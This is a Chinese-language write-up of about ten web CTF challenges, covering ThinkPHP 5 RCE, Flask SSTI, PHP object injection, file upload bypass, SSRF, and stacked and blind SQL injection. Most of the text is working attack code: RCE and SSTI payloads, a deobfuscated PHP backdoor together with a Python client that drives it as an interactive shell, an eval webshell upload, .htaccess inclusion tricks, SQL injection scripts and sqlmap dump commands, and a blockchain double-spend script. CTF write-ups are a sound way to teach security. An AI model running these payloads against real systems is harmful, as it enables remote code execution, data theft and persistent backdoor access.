攻防世界web进阶区WP(part3)

0x00 php_rce

页面提示Think PHP V5,结合题目rce,猜测为TP5.0 rce漏洞

网上搜索到的利用payload:

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

修改下执行的命令即可获得flag

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat ../../../flag

0x01 Web_python_template_injection

参考从零学习flask模板注入flask之ssti模版注入从零到入门

基础知识:在Jinja2模板引擎中,{{}}是变量包裹标识符。{{}}并不仅仅可以传递变量,还可以执行一些简单的表达式

测试一下,构造参数{{1+2}}

成功执行

可以查看flask中的一些全局变量

几个魔术方法

__class__  返回类型所属的对象
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类
// __base____mro__都是用来寻找基类的

__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
获取字符串的类对象
{{''.__class__}} ——> <type 'str'>
寻找基类
{{''.__class__.__mro__}} ——> <type 'str'>,<type 'basestring'>,<type 'object'>
寻找可用引用
{{''.__class__.__mro__[2].__subclasses__()}}

注意到<type ‘file’>可以读取文件,可以在引用里寻找包含os模块的脚本以执行命令

# encoding: utf-8
for item in ''.__class__.__mro__[2].__subclasses__():
try:
if 'os' in item.__init__.__globals__:
print num,item
num+=1
except:
print '-'
num+=1

可以找到

71 <class 'site._Printer'>
-
-
-
-
76 <class 'site.Quitter'>

读取文件 {{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}

读取即可

{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}

0x02 Web_php_wrong_nginx_config

robots.txt处提示:

User-agent: *Disallow:

hint.php
Hack.php

访问 hint.php,提示 配置文件也许有问题呀:/etc/nginx/sites-enabled/site.conf

访问 hack.php,抓包访问修改cookie

出现页面,抓包观察,发现在点击管理中心时url出现?file=index&ext=php
尝试进行文件读取,发现…/被过滤,根据题目提示构造url

获取conf文件,格式化后如下

                        server {
listen 8080; ## listen for ipv4; this line is default and implied
listen [::]:8080; ## listen for ipv6

root /var/www/html;
index index.php index.html index.htm;
port_in_redirect off;
server_name _;

# Make site accessible from http://localhost/
#server_name localhost;

# If block for setting the time for the logfile
if ($time_iso8601 ~ "^(\d{4})-(\d{2})-(\d{2})") {
set $year $1;
set $month $2;
set $day $3;
}
# Disable sendfile as per https://docs.vagrantup.com/v2/synced-folders/virtualbox.html
sendfile off;

set $http_x_forwarded_for_filt $http_x_forwarded_for;
if ($http_x_forwarded_for_filt ~ ([0-9]+\.[0-9]+\.[0-9]+\.)[0-9]+) {
set $http_x_forwarded_for_filt $1???;
}

# Add stdout logging

access_log /var/log/nginx/$hostname-access-$year-$month-$day.log openshift_log;
error_log /var/log/nginx/error.log info;

location / {
# First attempt to serve request as file, then
# as directory, then fall back to index.html
try_files $uri $uri/ /index.php?q=$uri&$args;
server_tokens off;
}

#error_page 404 /404.html;

# redirect server error pages to the static page /50x.html
#
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root /usr/share/nginx/html;
}
location ~ \.php$ {
try_files $uri $uri/ /index.php?q=$uri&$args;
fastcgi_split_path_info ^(.+\.php)(/.+)$;
fastcgi_pass unix:/var/run/php/php5.6-fpm.sock;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param SCRIPT_NAME $fastcgi_script_name;
fastcgi_index index.php;
include fastcgi_params;
fastcgi_param REMOTE_ADDR $http_x_forwarded_for;
}

location ~ /\. {
log_not_found off;
deny all;
}
location /web-img {
alias /images/;
autoindex on;
}
location ~* \.(ini|docx|pcapng|doc)$ {
deny all;
}

include /var/www/nginx[.]conf;
}

发现通过/web-img可以访问根目录,访问/web-img…/var/www/,发现hack.php.bak,得到如下代码:

<?php
$U='_/|U","/-/|U"),ar|Uray|U("/|U","+"),$ss(|U$s[$i]|U,0,$e)|U)),$k))|U|U);$o|U|U=o|Ub_get_|Ucontents(|U);|Uob_end_cle';
$q='s[|U$i]="";$p=|U$ss($p,3);}|U|Uif(array_k|Uey_|Uexis|Uts($|Ui,$s)){$s[$i].=|U$p|U;|U$e=|Ustrpos($s[$i],$f);|Ui';
$M='l="strtolower|U";$i=$m|U[1|U][0].$m[1]|U[1];$|U|Uh=$sl($ss(|Umd5($i|U.$kh),|U0,3|U));$f=$s|Ul($ss(|Umd5($i.$';
$z='r=@$r[|U"HTTP_R|UEFERER|U"];$r|U|Ua=@$r["HTTP_A|U|UCCEPT_LAN|UGUAGE|U"];if|U($r|Ur&|U&$ra){$u=parse_|Uurl($r';
$k='?:;q=0.([\\|Ud]))?,|U?/",$ra,$m)|U;if($|Uq&&$m){|U|U|U@session_start()|U|U;$s=&$_SESSIO|UN;$ss="|Usubst|Ur";|U|U$s';
$o='|U$l;|U){for|U($j=0;($j|U<$c&&|U|U$i|U<$|Ul);$j++,$i++){$o.=$t{$i}|U^$k|U{$j};}}|Ureturn $|Uo;}$r=$|U_SERV|UE|UR;$r';
$N='|Uf($e){$k=$k|Uh.$kf|U;ob_sta|Urt();|U@eva|Ul(@g|Uzuncom|Upress(@x(@|Ubas|U|Ue64_decode(preg|U_repla|Uce(|Uarray("/';
$C='an();$d=b|Uase64_encode(|Ux|U(gzcomp|U|Uress($o),$k))|U;prin|Ut("|U<$k>$d</$k>"|U);@ses|U|Usion_des|Utroy();}}}}';
$j='$k|Uh="|U|U42f7";$kf="e9ac";fun|Uction|U |Ux($t,$k){$c|U=|Ustrlen($k);$l=s|Utrl|Ue|Un($t);$o=|U"";fo|Ur($i=0;$i<';
$R=str_replace('rO','','rOcreatrOe_rOrOfurOncrOtion');
$J='kf|U),|U0,3));$p="|U";for(|U|U$|Uz=1;$z<cou|Unt|U($m[1]);|U$z++)$p.=|U$q[$m[2][$z|U]|U];if(strpos(|U$|U|Up,$h)|U===0){$';
$x='r)|U;pa|Urse|U_str($u["qu|U|Uery"],$q);$|U|Uq=array_values(|U$q);pre|Ug|U_match_al|Ul("/([\\|U|Uw])[|U\\w-]+|U(';
$f=str_replace('|U','',$j.$o.$z.$x.$k.$M.$J.$q.$N.$U.$C);
$g=create_function('',$f);
$g();
?>

Echo $f 后得到

<?php
$kh="42f7";
$kf="e9ac";
function x($t,$k) {
$c=strlen($k);
$l=strlen($t);
$o="";
for ($i=0;$i<$l;) {
for ($j=0;($j<$c&&$i<$l);$j++,$i++) {
$o.=$t {
$i
}
^$k {
$j
}
;
}
}
return $o;
}
$r=$_SERVER;
$rr=@$r["HTTP_REFERER"];
$ra=@$r["HTTP_ACCEPT_LANGUAGE"];
if($rr&&$ra) {
$u=parse_url($rr);
parse_str($u["query"],$q);
$q=array_values($q);
preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
if($q&&$m) {
@session_start();
$s=&$_SESSION;
$ss="substr";
$sl="strtolower";
$i=$m[1][0].$m[1][1];
$h=$sl($ss(md5($i.$kh),0,3));
$f=$sl($ss(md5($i.$kf),0,3));
$p="";
for ($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];
if(strpos($p,$h)===0) {
$s[$i]="";
$p=$ss($p,3);
}
if(array_key_exists($i,$s)) {
$s[$i].=$p;
$e=strpos($s[$i],$f);
if($e) {
$k=$kh.$kf;
ob_start();
@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));
$o=ob_get_contents();
ob_end_clean();
$d=base64_encode(x(gzcompress($o),$k));
print("<$k>$d</$k>");
@session_destroy();
}
}
}
}
?>

为一 PHP 混淆后门程序,在网上找到了相关的利用教程一个PHP混淆后门的分析,根据题目修改后的脚本(修改了密钥和url)如下:

# encoding: utf-8

from random import randint,choice
from hashlib import md5
import urllib
import string
import zlib
import base64
import requests
import re

def choicePart(seq,amount):
length = len(seq)
if length == 0 or length < amount:
print 'Error Input'
return None
result = []
indexes = []
count = 0
while count < amount:
i = randint(0,length-1)
if not i in indexes:
indexes.append(i)
result.append(seq[i])
count += 1
if count == amount:
return result

def randBytesFlow(amount):
result = ''
for i in xrange(amount):
result += chr(randint(0,255))
return result

def randAlpha(amount):
result = ''
for i in xrange(amount):
result += choice(string.ascii_letters)
return result

def loopXor(text,key):
result = ''
lenKey = len(key)
lenTxt = len(text)
iTxt = 0
while iTxt < lenTxt:
iKey = 0
while iTxt<lenTxt and iKey<lenKey:
result += chr(ord(key[iKey]) ^ ord(text[iTxt]))
iTxt += 1
iKey += 1
return result


def debugPrint(msg):
if debugging:
print msg

# config
debugging = False
keyh = "42f7" # $kh
keyf = "e9ac" # $kf
xorKey = keyh + keyf
url = 'http://111.198.29.45:46283/hack.php'
defaultLang = 'zh-CN'
languages = ['zh-TW;q=0.%d','zh-HK;q=0.%d','en-US;q=0.%d','en;q=0.%d']
proxies = None # {'http':'http://127.0.0.1:8080'} # proxy for debug

sess = requests.Session()

# generate random Accept-Language only once each session
langTmp = choicePart(languages,3)
indexes = sorted(choicePart(range(1,10),3), reverse=True)

acceptLang = [defaultLang]
for i in xrange(3):
acceptLang.append(langTmp[i] % (indexes[i],))
acceptLangStr = ','.join(acceptLang)
debugPrint(acceptLangStr)

init2Char = acceptLang[0][0] + acceptLang[1][0] # $i
md5head = (md5(init2Char + keyh).hexdigest())[0:3]
md5tail = (md5(init2Char + keyf).hexdigest())[0:3] + randAlpha(randint(3,8))
debugPrint('$i is %s' % (init2Char))
debugPrint('md5 head: %s' % (md5head,))
debugPrint('md5 tail: %s' % (md5tail,))

# Interactive php shell
cmd = raw_input('phpshell > ')
while cmd != '':
# build junk data in referer
query = []
for i in xrange(max(indexes)+1+randint(0,2)):
key = randAlpha(randint(3,6))
value = base64.urlsafe_b64encode(randBytesFlow(randint(3,12)))
query.append((key, value))
debugPrint('Before insert payload:')
debugPrint(query)
debugPrint(urllib.urlencode(query))

# encode payload
payload = zlib.compress(cmd)
payload = loopXor(payload,xorKey)
payload = base64.urlsafe_b64encode(payload)
payload = md5head + payload

# cut payload, replace into referer
cutIndex = randint(2,len(payload)-3)
payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail)
iPiece = 0
for i in indexes:
query[i] = (query[i][0],payloadPieces[iPiece])
iPiece += 1
referer = url + '?' + urllib.urlencode(query)
debugPrint('After insert payload, referer is:')
debugPrint(query)
debugPrint(referer)

# send request
r = sess.get(url,headers={'Accept-Language':acceptLangStr,'Referer':referer},proxies=proxies)
html = r.text
debugPrint(html)

# process response
pattern = re.compile(r'<%s>(.*)</%s>' % (xorKey,xorKey))
output = pattern.findall(html)
if len(output) == 0:
print 'Error, no backdoor response'
cmd = raw_input('phpshell > ')
continue
output = output[0]
debugPrint(output)
output = output.decode('base64')
output = loopXor(output,xorKey)
output = zlib.decompress(output)
print output
cmd = raw_input('phpshell > ')

运行脚本即可

0x02 admin

查看源代码发现代码:

$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];

if(isset($user)&&(file_get_contents($user,'r')==="admin")){
echo "hello admin!<br>";
include($file); //class.php
}else{
echo "you are not admin ! ";
}

注意到isset($user)&&(file_get_contents($user,'r')==="admin"),使用php的封装协议php://input可以POST数据到user参数,include($file)处猜测存在文件包含漏洞,构造payload:

?user=php://input&file=php://filter/read=convert.base64-encode/resource=class.php&pass=1

获得一串base64字符串

同时读取下index.php页面的源码,两个页面的源码:

//index.php
<?php
error_reporting(E_ALL & ~E_NOTICE);
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];

if(isset($user)&&(file_get_contents($user,'r')==="admin")){
echo "hello admin!<br>";
if(preg_match("/fffffflag/",$file)){
exit();
}else{
include($file); //class.php
$pass = unserialize($pass);
echo $pass;
}
}else{
echo "you are not admin ! ";
echo "<br/>";
echo "hava a rest and then change your choose.";
}
?>

//class.php
<?php
error_reporting(E_ALL & ~E_NOTICE);

class Read{//fffffflag.php
public $file;
public function __toString(){
if(isset($this->file)){
echo file_get_contents($this->file);
}
return "Awwwwwwwwwww man";
}
}
?>

flag应该在fffffflag.php中,正则匹配限制了$flie参数不能读取flag,但我们可以通过反序列化$pass参数读取flag,序列化代码:

<?php
class Read{//fffffflag.php
public $file;
public function __toString(){
if(isset($this->file)){
echo file_get_contents($this->file);
}
return "Awwwwwwwwwww man";
}
}

$demo = new Read();
$demo->file = 'php://filter/read=convert.nase64-encode/resource=fffffflag.php';
echo serialize($demo);
?>

执行后得到序列化结果O:4:"Read":1:{s:4:"file";s:62:"php://filter/read=convert.nase64-encode/resource=fffffflag.php";},传入$pass参数

最终payload

?user=php://input&file=class.php&pass=O:4:"Read":1:{s:4:"file";s:62:"php://filter/read=convert.base64-encode/resource=fffffflag.php";}

获得的字符串解码后可得flag

<?php
error_reporting(E_ALL & ~E_NOTICE);
//flag{woyebuzhidaoyaononggeshaflagheshia}
?>

0x03 ics-07

项目管理处可以查看源码

<?php
session_start();

if (!isset($_GET[page])) {
show_source(__FILE__);
die();
}

if (isset($_GET[page]) && $_GET[page] != 'index.php') {
include('flag.php');
}else {
header('Location: ?page=flag.php');
}

?>


<?php
if ($_SESSION['admin']) {
$con = $_POST['con'];
$file = $_POST['file'];
$filename = "backup/".$file;

if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
die("Bad file extension");
}else{
chdir('uploaded');
$f = fopen($filename, 'w');
fwrite($f, $con);
fclose($f);
}
}
?>

<?php
if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
include 'config.php';
$id = mysql_real_escape_string($_GET[id]);
$sql="select * from cetc007.user where id='$id'";
$result = mysql_query($sql);
$result = mysql_fetch_object($result);
} else {
$result = False;
die();
}

if(!$result)die("<br >something wae wrong ! <br>");
if($result){
echo "id: ".$result->id."</br>";
echo "name:".$result->user."</br>";
$_SESSION['admin'] = True;
}
?>

分析下,当session为admin时可以上传文件,文件会保存在upload/backup/目录下,使用了黑名单过滤了ph(p[3457]?|t|tml)这些常用的后缀

这段isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9'代码要求我们传入的id值浮点值不能为1,并且最后一个数必须是9,session才能为admin

我们可以使用php弱类型比较绕过这一限制,将id值设为1a9即可

mysql的查询语句使用了mysql_real_escape_string()函数防止注入,当目标站点使用GBK编码才可以利用宽字符注入绕过,这里并不知道网站的详细信息,所以注入是比较困难的

正则对文件后缀进行限制,我们需要绕过从而上传文件

如何绕过,主要思路:

  1. Web中间件的解析漏洞,已知中间件是Apache2,因此可能存在Apache2解析漏洞PHP CGI 解析漏洞

  2. 通过上传.htaccess文件,该文件是Apache2的特色,一个功能是修改不同MIME类型文件使用的解析器,要使用该功能需要Apache在配置文件中设置AllowOverride All , 并且启用Rewrite模块,测试发现上传的.htaccess文件无法生效

    # 上传.htaccess文件,写入如下内容
    <FilesMatch "sunsh1ne.jpg">
    SetHandler application/x-httpd-php
    </FileMatch>
    # 此时,sunsh1ne.php会被解析为php文件,测试发现这里.htaccess功能被禁用了
  3. 特殊文件后缀,查看mime.types,可以发现很多文件后缀都使用了application/x-httpd-php这个解析器

其中phpsphp3p都是源代码文件,无法被执行,剩下的所有后缀都被正则过滤,这种方式也无法成功上传可执行文件

因此最后还是回到了中间件解析漏洞,经过测试发现并不是常规的解析漏洞 , 而是利用了一个Linux的目录结构特性

创建一个目录1.php,在创建一个子目录2.php,Linux下每创建一个新目录,都会自动创建2个隐藏文件,其中 . 代表当前目录 ,.. 代表当前目录的父目录 , 访问 ./1.php/2.php/.. 代表访问 2.php 的父目录 , 也就是访问 1.php

构造数据包时可以构造如下POST数据

con=<?php @eval($_POST[sunsh1ne]);?>&file=shell.php/.

访问上传的目录

可以看到文件上传成功,使用蚁剑连接,找到flag即可

0x04 blgdel

robotx.txt页面提示

Disallow: /config.txt

访问/config.txt,审计

<?php

class master
{
private $path;
private $name;

function __construct()
{

}

function stream_open($path)
{
if(!preg_match('/(.*)\/(.*)$/s',$path,$array,0,9))
return 1;
$a=$array[1];
parse_str($array[2],$array);

if(isset($array['path']))
{
$this->path=$array['path'];
}
else
return 1;
if(isset($array['name']))
{
$this->name=$array['name'];
}
else
return 1;

if($a==='upload')
{
return $this->upload($this->path,$this->name);
}
elseif($a==='search')
{
return $this->search($this->path,$this->name);
}
else
return 1;
}
function upload($path,$name)
{
if(!preg_match('/^uploads\/[a-z]{10}\/$/is',$path)||empty($_FILES[$name]['tmp_name']))
return 1;

$filename=$_FILES[$name]['name'];
echo $filename;

$file=file_get_contents($_FILES[$name]['tmp_name']);

$file=str_replace('<','!',$file);
$file=str_replace(urldecode('%03'),'!',$file);
$file=str_replace('"','!',$file);
$file=str_replace("'",'!',$file);
$file=str_replace('.','!',$file);
if(preg_match('/file:|http|pre|etc/is',$file))
{
echo 'illegalbbbbbb!';
return 1;
}

file_put_contents($path.$filename,$file);
file_put_contents($path.'user.jpg',$file);


echo 'upload success!';
return 1;
}
function search($path,$name)
{
if(!is_dir($path))
{
echo 'illegal!';
return 1;
}
$files=scandir($path);
echo '</br>';
foreach($files as $k=>$v)
{
if(str_ireplace($name,'',$v)!==$v)
{
echo $v.'</br>';
}
}

return 1;
}

function stream_eof()
{
return true;
}
function stream_read()
{
return '';
}
function stream_stat()
{
return '';
}

}

stream_wrapper_unregister('php');
stream_wrapper_unregister('phar');
stream_wrapper_unregister('zip');
stream_wrapper_register('master','master');

?>

注册一个用户后登陆,在个人中心处存在上传头像的页面,点击提示等级不够,可通过邀请用户注册获取积分,每成功注册一名用户邀请人将获取 10 积分

upload() 函数中对上传文件的内容进行了过滤,过滤了<"'.等字符,统一替换为 !,同时黑名单正则匹配过滤了文件中 file:httppreetc等关键字,我们可以通过上传.htaccess来修改php.ini,来使该目录下的php文件包含我们所需要的内容,这里还可以利用config里注册的master协议,来进行文件搜索

php_value auto_append_file master://search/path=%2fhome%2f&name=flag

此时我们再上传一个 .htaccess,内容为 php_value auto_append_file /home/hiahiahia_flag 即包含 flag,再访问 1.php,即可获取到 flag

0x05 ics-02

点击下载文档 , 会下载一个 download.php 文件,但事实上这并不是一个 PHP 文件 , 使用xxd 打开会发现这是一个 PDF 文件

尝试下使用bp抓包

页面以 GET 方式请求 download.php 页面,提示ssrf

扫描目录,发现/secert目录

secret_debug.php页面提示当前 IP 地址无权访问 secret_debug.php ,修改 XXF 后依旧无法访问

secret.php页面是一个选择和一个填空页面,通过 GET 请求向下一个页面发送数据,经测试在此页面发现sql注入漏洞,进行注入得到flag,脚本如下:

import requests
import random
import urllib

url = 'http://111.198.29.45:30128/download.php'

# subquery = "database()"
# ssrfw
# subquery = "select table_name from information_schema.tables where table_schema='ssrfw' LIMIT 1"
# cetcYssrf
# subquery = "select column_name from information_schema.columns where table_name='cetcYssrf' LIMIT 1"
# secretname -> flag
# subquery = "select column_name from information_schema.columns where table_name='cetcYssrf' LIMIT 1, 1"
# value -> flag{cpg9ssnu_OOOOe333eetc_2018}
subquery = "select value from cetcYssrf LIMIT 1"

id = random.randint(1, 10000000)

d = ('http://127.0.0.1/secret/secret_debug.php?' +
urllib.parse.urlencode({
"s": "3",
"txtfirst_name": "L','1',("+subquery+"),'1'/*",
"txtmiddle_name": "m",
"txtLast_name": "y",
"txtname_suffix": "Esq.",
"txtdob": "*/,'01/10/2019",
"txtdl_nmbr": id,
"txtRetypeDL": id
}) + "&")


r = requests.get(url, params={"dl": d})
print(r.text)

0x06 supersqli

堆叠注入,参考SQL Injection8(堆叠注入)——强网杯2019随便注强网杯-supersqli一题三解

堆叠注入原理:在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会一起执行。因此这个想法也就造就了堆叠注入

输入1',不回显,输入1'#,正常回显,尝试union select联合注入时,返回一个正则过滤规则,几乎所有常用的字段都被过滤了

尝试堆叠注入,1;show databases;#

成功执行,查询表,1';show tables;#,查询出两张表

分别查询两张表中的字段

1';show columns from `1919810931114514`;#
1';show columns from words

发现flag字段在1919810931114514表

接下来查看flag参考了大佬wp的操作

prepare语句,三个基本语法

PREPARE stmt_name FROM preparable_stmt;

EXECUTE stmt_name [USING @var_name [, @var_name] ...];

{DEALLOCATE | DROP} PREPARE stmt_name;

这三个语句分别的意思是:

  1. 把预处理的语句preparable_stmt赋值给变量stmt_name
  2. 执行预处理的语句,若其中有(即有空缺),则使用后面的变量来进行顺序填补
  3. 取消对变量的预处理语句的赋值

char()函数,语法CHAR(N,... [USING charset]),即将括号内的数字用,分割,而且可以使用'number',这个时候,就会取整,依然会进行转换。但是这里要提到一点,由char函数转化出来是作为字符串处理的,因此也就导致了,即使通过这个方式组合出了绕过waf的SQL语句,也因为是字符串而无法执行。这时候就可以通过PREPARE来将字符串转变为合法的语句,来执行

构造payload

1';Set @test=concat(CHAR(115,101,108,101,99,116,32),CHAR(102,108,97,103,32),CHAR(102,114,111,109,32),CHAR(96),1919810931114514,CHAR(96));Prepare test from @test;execute test;#

注意,本题中使用了strstr()函数,过滤了setperpare,使用大写绕过即可

再次查询

0x07 Web_python_block_chain

区块链相关的题目,第一次见到

主要涉及的是一个双花攻击,也就是伪造出一条更长的链,替代原有的链,这里的前提是黑客要掌控绝对的算力(51%)就可以达到伪造条件了

附上大佬的python攻击脚本

# -*- encoding: utf-8 -*-
# written in python 2.7
import hashlib, json, rsa, uuid, os, requests, re

# 一堆变量常量

url_root = "http://111.198.29.45:49096/"
url_create = "http://111.198.29.45:49096/create_transaction"
url_flag = "http://111.198.29.45:49096/flag"

s = requests.Session()
ddcoin = s.get(url=url_root)

prev_one = re.search(r"hash of genesis block: ([0-9a-f]{64})", ddcoin.content, flags=0).group(1)
bank_utox_id = re.search(r"\"input\": \[\"([0-9a-f\-]{36})", ddcoin.content, flags=0).group(1)
bank_signature = re.search(r"\"signature\": \[\"([0-9a-f]{96})", ddcoin.content, flags=0).group(1)

DIFFICULTY = int('00000' + 'f' * 59, 16)
EMPTY_HASH = '0' * 64

bank_addr = "a03d814ea1763262f1c81b022d88c26ab115b8c4a7af9f98ed992120a5364e83ded337b4d42d2a0a68a5706f99edcc15"
hacke_addr = "9a90534302c3df81a51a80a5e1c3e934488b61235725f70220e585409bef336a8e3febcd13599c57c63aa84d9187c2fb"
shop_addr = "9f8e7def3eefd2585b69ee9cd61fd3d53b634aa2068edf51035d264261d438c04f81dcc1f5d89f269af0cba4d191990f"


# 源码中的API

def hash(x):
return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()


def hash_reducer(x, y):
return hash(hash(x) + hash(y))


def hash_block(block):
return reduce(hash_reducer, [block['prev'], block['nonce'],
reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])


def hash_utxo(utxo):
return reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])


def hash_tx(tx):
return reduce(hash_reducer, [
reduce(hash_reducer, tx['input'], EMPTY_HASH),
reduce(hash_reducer, [utxo['hash'] for utxo in tx['output']], EMPTY_HASH)
])


def create_output_utxo(addr_to, amount):
utxo = {'id': str(uuid.uuid4()), 'addr': addr_to, 'amount': amount}
utxo['hash'] = hash_utxo(utxo)
return utxo


def create_tx(input_utxo_ids, output_utxo, privkey_from=None):
tx = {'input': input_utxo_ids, 'signature': [bank_signature], 'output': output_utxo} # 修改了签名
tx['hash'] = hash_tx(tx)
return tx


def create_block(prev_block_hash, nonce_str, transactions):
if type(prev_block_hash) != type(''): raise Exception('prev_block_hash should be hex-encoded hash value')
nonce = str(nonce_str)
if len(nonce) > 128: raise Exception('the nonce is too long')
block = {'prev': prev_block_hash, 'nonce': nonce, 'transactions': transactions}
block['hash'] = hash_block(block)
return block


# 构造的方法

def check_hash(prev, tx):
for i in range(10000000):
current_block = create_block(prev, str(i), tx)
block_hash = int(current_block['hash'], 16)
if block_hash < DIFFICULTY:
print json.dumps(current_block)
return current_block


def create_feak_one():
utxo_first = create_output_utxo(shop_addr, 1000000)
tx_first = create_tx([bank_utox_id], [utxo_first])
return check_hash(prev_one, [tx_first])


def create_empty_block(prev):
return check_hash(prev, [])


# 攻击过程

a = create_feak_one()
print s.post(url=url_create, data=str(json.dumps(a))).content
b = create_empty_block(a['hash'])
print s.post(url=url_create, data=str(json.dumps(b))).content
c = create_empty_block(b['hash'])
print s.post(url=url_create, data=str(json.dumps(c))).content
d = create_empty_block(c['hash'])
print s.post(url=url_create, data=str(json.dumps(d))).content
e = create_empty_block(d['hash'])
print s.post(url=url_create, data=str(json.dumps(e))).content
print s.get(url=url_flag).content

运行结果

0x08 fakebook

robots.txt页面提示

User-agent: *
Disallow: /user.php.bak

源码泄露,/user.php.bak内容

<?php


class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

public function getBlogContents ()
{
return $this->get($this->blog);
}

public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}

源码中GET函数存在SSRF漏洞,注册页面中username一栏存在post注入,注册登陆进入个人中心/view.php?no=1处,存在get注入。将no参数改为不存在的值,php报错,得到网站配置文件的后台物理路径/var/www/html/

尝试注册页面的POST注入,注册时抓包保存,使用sqlmap尝试注入

python sqlmap.py -r post.txt --dbs
python sqlmap.py -r post.txt -D fakebook --tables
python sqlmap.py -r post.txt -D fakebook -T users --dump

表中存储的是序列化后的字符串

我们可以利用no参数进行注入,在反序列化中构造file文件协议,利用服务端请求伪造漏洞访问服务器上的flag.php文件,位于/var/www/html/

构造payload,使用/**/绕过WAF

?no=0/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

注入后在blog处显示file:///var/www/html/flag.php

查看网页源代码,点击标签src='data:text/html;base64,PD9waHANCg0KJGZsYWcgPSAiZmxhZ3tjMWU1NTJmZGY3NzA0OWZhYmY2NTE2OGYyMmY3YWVhYn0iOw0KZXhpdCgwKTsNCg=='>即可查看flag

0x09 Web_python_flask_sql_injection

题目附件给出了网站的源代码,审计源码

注册函数RegistrationForm对邮箱的过滤并不严格

sql查询语句可拼接为select if from user while email = 'input'

如果注册邮箱已存在则返回 Please use a different email address. 可构造出如下 payload 进行 SQL盲注:

select id from user where email = 'test'/**/or/**/1=1#/**/@999.com'

使用/**/绕过空格的过滤

盲注脚本:

# python2
import requests
from bs4 import BeautifulSoup

url = "http://111.198.29.45:31600/register"

r = requests.get(url)
soup = BeautifulSoup(r.text, "html5lib")
token = soup.find_all(id='csrf_token')[0].get("value")

notice = "Please use a different email address."
result = ""

database = "(SELECT/**/GROUP_CONCAT(schema_name/**/SEPARATOR/**/0x3c62723e)/**/FROM/**/INFORMATION_SCHEMA.SCHEMATA)"
tables = "(SELECT/**/GROUP_CONCAT(table_name/**/SEPARATOR/**/0x3c62723e)/**/FROM/**/INFORMATION_SCHEMA.TABLES/**/WHERE/**/TABLE_SCHEMA=DATABASE())"
columns = "(SELECT/**/GROUP_CONCAT(column_name/**/SEPARATOR/**/0x3c62723e)/**/FROM/**/INFORMATION_SCHEMA.COLUMNS/**/WHERE/**/TABLE_NAME=0x666c616161616167)"
data = "(SELECT/**/GROUP_CONCAT(flag/**/SEPARATOR/**/0x3c62723e)/**/FROM/**/flag)"


for i in range(1, 100):
for j in range(32, 127):
payload = "test'/**/or/**/ascii(substr(%s,%d,1))=%d#/**/@999.com" % (database, i, j)
post_data = {
'csrf_token': token,
'username': 'sunsh1ne',
'email':payload,
'password':'sunsh1ne',
'password2':'sunsh1ne',
'submit':'Register'
}
r = requests.post(url, post_data)
soup = BeautifulSoup(r.text,"html5lib")
token = soup.find_all(id='csrf_token')[0].get("value")
if notice in r.text:
result += chr(j)
print result
break